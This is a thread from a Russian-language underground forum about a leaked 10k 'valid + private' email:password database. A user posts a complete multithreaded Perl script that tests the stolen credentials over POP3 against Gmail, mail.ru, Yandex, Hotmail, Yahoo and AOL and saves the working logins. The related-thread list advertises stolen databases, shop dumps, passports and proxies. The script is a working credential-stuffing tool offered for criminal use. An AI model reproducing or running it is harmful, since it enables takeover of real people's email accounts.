10к валид + приват

  • Автор темы WHO AM I1
  • Дата начала
Статус
Закрыто для дальнейших ответов.
H

h4ck3r1

Скачал, большое человеческое спасибо.

Посоветуйте,чем можно чекнуть базку и желательно скриптом
 
H

h4ck3r1

Нашёл на перле,чекает..

Код:
#!/usr/bin/perl

use warnings;
use strict;

use threads;
use threads::shared;

use IO::Socket;
use IO::Socket::SSL;

use Fcntl ':flock';

### Настройки

my $accounts_file = 'acc.txt'; # Файл с аккаунтами
my $accounts_delimiter = ':'; # Разделитель логина и пароля
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 10;
my $threads_count = 50; # Количество потоков

### ---------

my %servers = (
    'gmail.com' => {
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
       
    },
    'mail.ru' => {
        'host' => 'pop.mail.ru', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1   
       
       
    },
    'yandex.ru' => {
        'host' => 'pop.yandex.ru', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1       
       
       
       
    },
    'hotmail.com' => {
        'host' => 'pop3.live.com', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
    },
    'yahoo.com' => {
        'host' => 'plus.pop.mail.yahoo.com',
        'port' => 995, 
        'ssl' => 1
    },
    'aol.com' => {
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
    }
);

my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
my @threads = ();

$| = 1;

my @accounts : shared;
(open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while <FH>;
close FH;

open FH, '>', $good_file;
close FH;

if ($log_bad) {
    open FH, '>', $bad_file;
    close FH;
}

sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " x (78 - length $str) if length $str < 79;
    print $str."\n";
    $str = '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}

sub check_account {
    while (1) {
        last if !@accounts;
        my $account = lc shift @accounts;
        chomp $account;
        if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
            my ($login, $host, $password) = ($1, $2, $3);
            my $r_login = $login;
            my $sock;           
            if ($servers{$host}) {
                $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
                if (${$servers{$host}}{'ssl'}) {
                    eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
                } else {
                    eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
                }
            } else {
                eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout);    };
            }
            if ($sock) {
                $sock->autoflush(1);
                my $answ;
                $answ = <$sock>;
                my $bad = 1;  
                if ($answ && substr($answ, 0, 1) eq '+') { 
                    print $sock "USER $r_login\n"; 
                    $answ = <$sock>;
                    if ($answ && substr($answ, 0, 1) eq '+') { 
                        print $sock "PASS $password\n";
                        $answ = <$sock>;
                        if ($answ && substr($answ, 0, 1) eq '+') {
                            print $sock "QUIT\n"; 
                            close $sock;
                            $bad = 0;
                            thread_print "[+] $login\@$host$accounts_delimiter$password"; 
                            { lock %statictis; $statictis{'good'}++; } 
                            open FH, '>>', $good_file;
                            flock FH, LOCK_EX;
                            print FH "$login\@$host$accounts_delimiter$password\n";
                            flock FH, LOCK_UN;
                            close FH;
                        } elsif ($answ && $answ =~ /SYS\/PERM/) {
                            $bad = 0;
                            { lock %statictis; $statictis{'error'}++; } 
                            thread_print "[~] $login\@$host$accounts_delimiter$password"; 
                        }
                    }
                }
                if ($bad) {
                    thread_print "[-] $login\@$host$accounts_delimiter$password"; 
                    { lock %statictis; $statictis{'bad'}++; } 
                    if ($log_bad) {
                        open FH, '>>', $bad_file;
                        flock FH, LOCK_EX;
                        print FH "$login\@$host$accounts_delimiter$password\n";
                        flock FH, LOCK_UN;
                        close FH;
                    }
                }
            } else {
                { lock %statictis; $statictis{'error'}++; } 
                thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
            }
        }
    }
    threads->exit->detach;
}

$threads_count = $#accounts if $#accounts < $threads_count;
$threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
$_->join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";
 
Статус
Закрыто для дальнейших ответов.
Похожие темы
A MIX 10к Приват Валид Раздачи и сливы 7
A MYR 10к приват 100%+Валид 10 -15 % Раздачи и сливы 20
Q 10к (80% валид) Раздачи и сливы 0
H 10к (валид - 50%) Раздачи и сливы 0
H 10к валид есть (60-70%) Раздачи и сливы 0
V Бывший валид на передлку 10к | 100% privat Раздачи и сливы 0
B 10к валид есть , но мало Раздачи и сливы 0
X Валид высокий привата нема 10К Раздачи и сливы 2
fsa1 Легальная работа, хорошие условия, 5-10к/день Предоставляю работу. Ищу специалиста. 1
attilla yandex 10к Раздачи и сливы 0
F 10к Привата Раздачи и сливы 0
АнАлЬнАя ЧуПаКаБрА damp dspolicyfind.ca 10к Раздачи и сливы 0
АнАлЬнАя ЧуПаКаБрА 10к Дамп пакистанского шопа Раздачи и сливы 0
G 10к валида Раздачи и сливы 0
S 10к мур приват Раздачи и сливы 0
B BTC база 10к Раздачи и сливы 0
M 10к строк валида Раздачи и сливы 0
S 10к валидола Раздачи и сливы 0
T [Асгард — С первых рук] Схема от 10к за ночь ) Полезные статьи 8
3 Мутим сертификат на 5к,10к в Связном Раздачи и сливы 8
M Мануал по безопасности за 10к Раздачи и сливы 3
G Скрипт для накрутки фотографий в ВК [до 10к в день] Программирование 12
K MIX 10к private 70% [no hide] Раздачи и сливы 4
АнАлЬнАя ЧуПаКаБрА Заточка под ключи 10к. Раздачи и сливы 0
S +10к сообщений Вконтакте Раздачи и сливы 0
M 10к валидной Чехии Раздачи и сливы 1
Admin Раздача забугор emails 10к Раздачи и сливы 0
slovokek Отработаю вашу отработку логов, без валид почты Ищу работу. Предлагаю свои услуги. 0
slovokek Куплю Куплю банки USA (CU-FCU) с валид почтой! Покупка/Продажа 1
E Валид mail:pass US and EU от eValidBot Раздачи и сливы 1
Q Steam 12k (60% валид) mail:pass Раздачи и сливы 0
Predator7 Под не валид запросы 339 мб Раздачи и сливы 0
Predator7 Под не валид запросы 367к ( микс) Раздачи и сливы 0
Predator7 Не валид 4.7кк ( usa много yahoo) Раздачи и сливы 0
R ПАСПОРТА РФ (ВСЕ ВАЛИД) для идентификации QIWI, ЮMoney И тд Раздачи и сливы 6
Predator7 Не валид 1кк (микс) Раздачи и сливы 0
Predator7 Не валид (микс) 813к Раздачи и сливы 0
O Куплю скупаю свои валид запросы в логах любое гео Трафик, загрузки, инсталлы, iframe 0
Predator7 Не валид 14к Раздачи и сливы 0
Predator7 Под не валид запросы 5кк Раздачи и сливы 0
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Покупка/Продажа 0
F Куплю Куплю валид базу работодателей hh.ru Покупка/Продажа 1
J EUROPE 15700 валид mail:pass Раздачи и сливы 0
tarekhamditn Куплю Куплю валид почты: @globo.com @globomail.com Покупка/Продажа 0
L Ищу кто продает валид базы usa Покупка/Продажа 0
attilla 68 валид SOCKS5 на 16.08.20 Раздачи и сливы 0
attilla 523 валид HTTPs на 16.08.20 Раздачи и сливы 0
АнАлЬнАя ЧуПаКаБрА 1кк+Бывший валид + Error-ы (AIO) Раздачи и сливы 0
АнАлЬнАя ЧуПаКаБрА 2,9к CA валид Раздачи и сливы 0
E 1550 SOCKS 4 валид Раздачи и сливы 1

Название темы